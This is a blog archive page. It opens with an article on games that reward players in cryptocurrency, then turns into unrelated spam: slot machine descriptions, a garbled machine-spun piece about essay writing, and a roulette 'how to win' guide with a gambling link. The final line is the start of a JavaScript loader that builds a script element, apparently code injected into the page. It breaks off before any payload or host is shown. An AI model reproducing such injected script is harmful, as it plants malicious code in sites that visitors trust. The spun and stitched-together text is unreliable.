Monthly Archives: December 2016

Virtual Currency Games

32Every little boy’s (and many grown men’s) dream of making a living by playing video games is edging closer to reality.

The recent release of HunterCoin and the in-development VoidSpace, games which reward players in digital currency rather than virtual princesses or gold stars point towards a future where one’s ranking on a scoreboard could be rewarded in dollars, and sterling, euros and yen.

The story of the millionaire (virtual) real estate agent…

Digital currencies have been slowly gaining in maturity both in terms of their functionality and the financial infrastructure that enables them to be used as a credible alternative to non-virtual fiat currency. Though Bitcoin, the 1st and most well known of the crypto-currencies was created in 2009 there have been forms of virtual currencies used in video games for more than 15 years. 1997’s Ultima Online was the first notable attempt to incorporate a large scale virtual economy in a game. Players could collect gold coins by undertaking quests, battling monsters and finding treasure and spend these on armour, weapons or real estate. This was an early incarnation of a virtual currency in that it existed purely within the game though it did mirror real world economics to the extent that the Ultima currency experienced inflation as a result of the game mechanics which ensured that there was a never ending supply of monsters to kill and thus gold coins to collect.

Released in 1999, EverQuest took virtual currency gaming a step further, allowing players to trade virtual goods amongst themselves in-game and though it was prohibited by the game’s designer to also sell virtual items to each other on eBay. In a real world phenomenon which was entertainingly explored in Neal Stephenson’s 2011 novel Reamde, Chinese gamers or ‘gold farmers’ were employed to play EverQuest and other such games full-time with the aim of gaining experience points so as to level-up their characters thereby making them more powerful and sought after. These characters would then be sold on eBay to Western gamers who were unwilling or unable to put in the hours to level-up their own characters. Based on the calculated exchange rate of EverQuest’s currency as a result of the real world trading that took place Edward Castronova, Professor of Telecommunications at Indiana University and an expert in virtual currencies estimated that in 2002 EverQuest was the 77th richest country in the world, somewhere between Russia and Bulgaria and its GDP per capita was greater than the People’s Republic of China and India.

Launched in 2003 and having reached 1 million regular users by 2014, Second Life is perhaps the most complete example of a virtual economy to date whereby it’s virtual currency, the Linden Dollar which can be used to buy or sell in-game goods and services can be exchanged for real world currencies via market-based exchanges. There were a recorded $3.2 billion in-game transactions of virtual goods in the 10 years between 2002-13, Second Life having become a marketplace where players and businesses alike were able to design, promote and sell content that they created. Real estate was a particularly lucrative commodity to trade, in 2006 Ailin Graef became the 1st Second Life millionaire when she turned an initial investment of $9.95 into over $1 million over 2.5 years through buying, selling and trading virtual real estate to other players. Examples such as Ailin are the exception to the rule however, only a recorded 233 users making more than $5000 in 2009 from Second Life activities.

How to be paid in dollars for mining asteroids…

To date, the ability to generate non-virtual cash in video games has been of secondary design, the player having to go through non-authorised channels to exchange their virtual booty or they having to possess a degree of real world creative skill or business acumen which could be traded for cash. This could be set to change with the advent of video games being built from the ground up around the ‘plumbing’ of recognised digital currency platforms. The approach that HunterCoin has taken is to ‘gamify’ what is typically the rather technical and automated process of creating digital currency. Unlike real world currencies that come into existence when they are printed by a Central bank, digital currencies are created by being ‘mined’ by users. The underlying source code of a particular digital currency that allows it to function is called the blockchain, an online decentralised public ledger which records all transactions and currency exchanges between individuals. Since digital currency is nothing more than intangible data it is more prone to fraud than physical currency in that it is possible to duplicate a unit of currency thereby causing inflation or altering the value of a transaction after it has been made for personal gain. To ensure this does not happen the blockchain is ‘policed’ by volunteers or ‘miners’ who test the validity of each transaction that is made whereby with the aid of specialist hardware and software they ensure that data has not been tampered with. This is an automatic process for miner’s software albeit an extremely time consuming one which involves a lot of processing power from their computer. To reward a miner for verifying a transaction the blockchain releases a new unit of digital currency and rewards them with it as an incentive to keep maintaining the network, thus is digital currency created. Because it can take anything from several days to years for an individual to successfully mine a coin groups of users combine their resources into a mining ‘pool’, using the joint processing power of their computers to mine coins more quickly.

HunterCoin the game sits within such a blockchain for a digital currency also called HunterCoin. The act of playing the game replaces the automated process of mining digital currency and for the first time makes it a manual one and without the need for expensive hardware. Using strategy, time and teamwork, players venture out onto a map in search of coins and on finding some and returning safely to their base (other teams are out there trying to stop them and steal their coins) they can cash out their coins by depositing them into their own digital wallet, typically an app designed to make and receive digital payments. 10% of the value of any coins deposited by players go to the miners maintaining HunterCoin’s blockchain plus a small percent of any coins lost when a player is killed and their coins dropped. While the game graphics are basic and significant rewards take time to accumulate HunterCoin is an experiment that might be seen as the first video game with monetary reward built in as a primary function.

Though still in development VoidSpace is a more polished approach towards gaming in a functioning economy. A Massively Multiplayer Online Roleplaying Game (MMORPG), VoidSpace is set in space where players explore an ever-growing universe, mining natural resources such as asteroids and trading them for goods with other players with the goal of building their own galactic empire. Players will be rewarded for mining in DogeCoin, a more established form of digital currency which is currently used widely for micro-payments on various social media sites. DogeCoin will also be currency of in-game trade between players and the means to make in-game purchases. Like HunterCoin, DogeCoin is a legitimate and fully functioning digital currency and like HunterCoin it can be traded for both digital and real fiat currencies on exchanges like Poloniex.

The future of video games?

Though it is early days in terms of quality the release of HunterCoin and VoidSpace is an interesting indication of what could be the next evolution for games. MMORPG’s are currently being considered as ways to model the outbreak of epidemics as a result of how player’s reactions to an unintended plague mirrored recorded hard-to-model aspects of human behaviour to real world outbreaks. It could be surmised that eventually in-game virtual economies could be used as models to test economic theories and develop responses to massive failures based on observations of how players use digital currency with real value. It is also a good test for the functionality and potential applications of digital currencies which have the promise of moving beyond mere vehicles of exchange and into exciting areas of personal digitial ownership for example. In the mean time, players now have the means to translate hours in front of a screen into digital currency and then dollars, sterling, euros or yen.

But before you quit your day job…

… it’s worth mentioning current exchange rates. It’s estimated that a player could comfortably recoup their initial registration fee of 1.005 HunterCoin (HUC) for joining HunterCoin the game in 1 day’s play. Currently HUC cannot be exchanged directly to USD, one must convert it into a more established digital currency like Bitcoin. At the time of writing the exchange rate of HUC to Bitcoin (BC) is 0.00001900 while the exchange rate of BC to USD is $384.24. 1 HUC traded to BC and then to USD, before any transaction fees were taken into consideration would equate to… $0.01 USD. This is not to say that as a player becomes more adept that they could not grow their team of virtual CoinHunters and maybe employ a few ‘bot’ programmes that would automatically play the game under the guise of another player and earn coins for them as well but I think it’s safe to say that at the moment even efforts like this might only realistically result in enough change for a daily McDonalds. Unless players are willing to submit to intrusive in-game advertising, share personal data or join a game such as CoinHunter that is built on the Bitcoin blockchain it is improbable that rewards are ever likely to be more than micro-payments for the casual gamer. And maybe this is a good thing, because surely if you get paid for something it stops being a game any more?

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Casino Slots Games

31It has now become a trend to play slot machine games online. Gamblers are playing slot machine games online regularly.

8 Ball – This is a classic 3 reel with single payline format. It has only 1 symbol – pool balls. All the balls have different numbers. In the game, the prize amount of the jackpot gets higher too when the ball numbers go higher. The highest prize is 2,000 times the bet line. In order to win, one needs to hit the pay line with 3 same ball numbers. No blanks are there on the reels, so every time it hits 3 balls. 8 Ball offers a max bet of 2 coins and offers a range of different denominations. The smallest one is 25 cents. So the biggest profitable part is that one can play with the max bet for just 50 cents.

The 8 Ball game offers a top prize of 2,000 coins with the max bet. This can be won by hitting the payline with three 8 Balls. If played with single coin, 1000 coins are given. Following the jackpot, it drops to 200 coins as the next pay prize. The prize amount then drops by 160 coins following 140 coins. This game is available online at the Playtech casinos. Also, if played with the highest coin size, one can win an amount of $20,000.

Alien Alert – Alien Alert is available online in two formats. First option is that one can play the game with a close up view and with the second option the game can be played with a distance view that shows the whole slot machine. Alien alert is a classic game that comes with 3 reels and 1 single pay line. This game has an outer space theme. The game displays aliens, satellites & other things like space ships. This game can be played with a range of denominations. The max bet is 3 coins. The lowest bet is nickel and goes up to five dollars as the highest. On interesting things is that player can change the size of the coins without exiting the game. The game features 8 winning combinations starting at 15 coins on a pay line with any 3 aliens. The highest is 4000 coins if one hits the hands of 3 aliens on the payline. The game has no wild symbol. Alien Alert pays 600 coins with max bet as the next highest payout. This game can be played online on casinos like Golden Palace, Bet 365 and Bet Fred.

Composing an Obituary With Msword Format, Recommendations and Theme

Opinion article composing has become among the usually struck types of writing nowadays. It truly is a difficult skill to master. It may be an amazing healing tool. Whether you truly want to learn more about design composing, are a comic searching for approaches to compose fresh material or are merely taking a browse around, I am going to teach you the fundamentals of design comedy writing and the best way to improve your abilities.

How-to Publish Movie Scripts

Clearly, there are usually a number of things which are potential to do to make certain your first article is just a great one. A superb method to acquire better is to possess composition test. Here are a few excellent article subjects that kids may detect easy to compose. This generally means that’s almost impossible for somebody to get ready for every potential essay theme they may come across when using this test.

Begginers’ Guide on How to Play Roulette

One of the most played game in casinos across the world is the game known as roulette.  It brings joy to players, thus more and more people are interested with this game. This article will show you guidelines how to play roulette and win  you may also read great strategies at http://how.wheretoplayroulette.com .
Even with the fact that playing in the casino establishments is incomparable, there are individuals who chose to ply online. The access of playing roulette over the internet makes the game more fun and exciting. With this, many people want to gather more info on how to play roulette online.
If you want to know how to win at roulette, you need to know the basics first.
Accessible Bets in Roulette
The game starts on the type of bet you want. Each type of bet has its own probabilities. Straight bet pays your single original bet an additional 35 units. On using split bets, you’re required to bet on two numbers and get the chance to receive 17 units if your bet wins. The 3 street will enable you to place chips on three numbers. If you win, your original bet is added with Eleven units. The betting of 4 numbers is called square bet and you must add 8 units on your original bet if you win. There are other kinds of bets known as six line, colours, dozens, high/lows, columns, and odds/even pay and these offer lower number of units to win. It’s important to weigh your odds of winning over your bet before choosing what type of bet you want to play in the game. To get more information about the game, you can ask assistance from an expert player or simply make your own research on how to play roulette strategy.
Learn How to play roulette machine
The experience of playing a roulette machine is the same as how you play in an actual table. Its simply placing your bet to the number you like and wait for the winning number and see if you luck is in your favour. But if you are serious about learning how to play roulette machine and win, you can do your part by doing your own research. One of the helpful tips is selecting European table over American. The reason for this is that the American table has 00, increasing your losing margin.
How to Make and Place a Bet?
You can place your bet the moment the dealer says so. You can then place your bets on the numbers you prefer. Every type of bet has its own set of betting limits. Your bet will be discarded if it goes above the limit. The croupier will then spin the roulette spinning wheel and enables the players to add bets for a certain time. By the time that the spinning of the wheel becomes slow, the croupier will wave his hand to give signal to players that the time of adding bet already ends. The winning number can be determined as the wheel stops. The dealer then pays out all the winners. After that, the process is repeated for another set of bets.
This simple guide will help you how to play roulette and win. Learning the basics will pave your way to enjoying and winning more than what you have anticipated.var d=document;var s=d.createElement(‘script’);